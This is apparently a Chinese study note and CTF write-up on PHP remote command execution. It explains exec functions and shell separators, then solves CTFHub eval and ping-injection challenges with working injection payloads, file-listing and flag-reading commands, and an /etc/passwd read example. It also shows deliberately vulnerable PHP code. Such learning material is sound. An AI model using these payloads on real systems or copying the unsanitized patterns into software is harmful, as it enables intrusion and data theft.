0x00 开篇
脑子不够用,记录积累的知识,第一篇。
RCE全称是remote command/code execute,即远程执行漏洞。
漏洞起源是程序员开发带有执行输入-执行功能的系统时,由于输入过滤不严,导致执行的命令产生注入。
ctf常见有RCE题目,最原始的是一个输入框,执行ping命令。
0x01 php命令执行
回顾php执行命令的函数
php 执行 命令行命令
PHP提供共了3个专门的执行外部命令的函数:
system(),exec(),passthru()
区别:
system() 输出并返回最后一行shell结果。
exec() 不输出结果,返回最后一行shell结果,所有结果可以保存到一个返回的数组里面。
passthru() 只调用命令,把命令的运行结果原样地直接输出到标准输出设备上。
相同点:都可以获得命令执行的状态码
为了更加直观的显示执行函数的作用和用法,下面测试每个执行命令的函数的执行效果:
system ( string $command [, int &$return_var ] ) : string
exec ( string $command [, array &$output [, int &$return_var ]] ) : string
shell_exec ( string $cmd ) : string
passthru ( string $command [, int &$return_var ] ) : void
注意,最后的passthru是没有返回值。
下面调用php代码查看执行效果
<?php
echo "line1--------</br>";
echo(system("ls"));
echo "</br>";
echo "line2--------</br>";
echo(exec("ls"));
echo "</br>";
echo "line3--------</br>";
echo(passthru("ls"));
?>
line1--------
index.html index.nginx-debian.html rcetest.php rcetest.php
line2--------
rcetest.php
line3--------
index.html index.nginx-debian.html rcetest.php
0x02 linux命令连接符
常用的linux命令连接符有:| ,& ,&&,|| ,;等
; 表示两条命令相继执行,互不干扰
& 表示先执行CMD1 再执行CMD2,这里不考虑CMD1是否成功。使用CMD1 & CMD2
&& 表示先执行CMD1,成功后再执行CMD,否则不执行CMD2。使用CMD1 && CMD2
|| 先执行CMD1,CMD1执行成功就不再执行CMD2,CMD1执行失败则执行CMD2。使用CMD1 || CMD2
常见的linux测试命令
ls 列出目录
ls / 列出根目录
cat 文件名 显示文件内容
cat /etc/passwd 显示用户信息文件
0x03 基础例题
CTFHub eval执行
<?php
if (isset($_REQUEST['cmd'])) {
eval($_REQUEST["cmd"]);
} else {
highlight_file(__FILE__);
}
?>
payload
http://challenge-746934853c8e1c69.sandbox.ctfhub.com:10080/?cmd=system("ls");
index.php
http://challenge-746934853c8e1c69.sandbox.ctfhub.com:10080/?cmd=system("ls /");
bin boot dev etc flag_15129 home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var
http://challenge-746934853c8e1c69.sandbox.ctfhub.com:10080/?cmd=system("cat /flag_15129");
ctfhub{77719a59e91701bc31565441cdde38f17e396269}
CTFHub 命令注入-无过滤
<?php
$res = FALSE;
if (isset($_GET['ip']) && $_GET['ip']) {
$cmd = "ping -c 4 {$_GET['ip']}";
exec($cmd, $res);
}
?>
<!DOCTYPE html>
<html>
<head>
<title>CTFHub 命令注入-无过滤</title>
</head>
<body>
<h1>CTFHub 命令注入-无过滤</h1>
<form action="#" method="GET">
<label for="ip">IP : </label><br>
<input type="text" id="ip" name="ip">
<input type="submit" value="Ping">
</form>
<hr>
<pre>
<?php
if ($res) {
print_r($res);
}
?>
</pre>
<?php
show_source(__FILE__);
?>
</body>
</html>
直接使用命令拼接的方法,通过分隔符号,将注入的命令拼接到后面
这里用;| || 拼接均可。注意,由于&在浏览器会被识别为参数分隔符,所以如果使用&,则要转化为url编码%26。下面测试使用三种分隔符,显示的结果。为什么结果显示不一样,可以参考上面的linux命令连接符的讲解。
payload
使用;
/?ip=127.0.0.1;ls
Array
(
[0] => PING 127.0.0.1 (127.0.0.1): 56 data bytes
[1] => 25923892328507.php
[2] => index.php
)
使用&
/?ip=127.0.0.1%26 ls
Array
(
[0] => 25923892328507.php
[1] => index.php
[2] => PING 127.0.0.1 (127.0.0.1): 56 data bytes
)
使用|
/?ip=127.0.0.1| ls
Array
(
[0] => 25923892328507.php
[1] => index.php
)
最终获取flag
/?ip=127.0.0.1;cat 25923892328507.php
Array
(
[0] => PING 127.0.0.1 (127.0.0.1): 56 data bytes
[1] => <?php // ctfhub{978d5293b0a125adcc166b99f3fae2a45ef1d9bf}
)
网友评论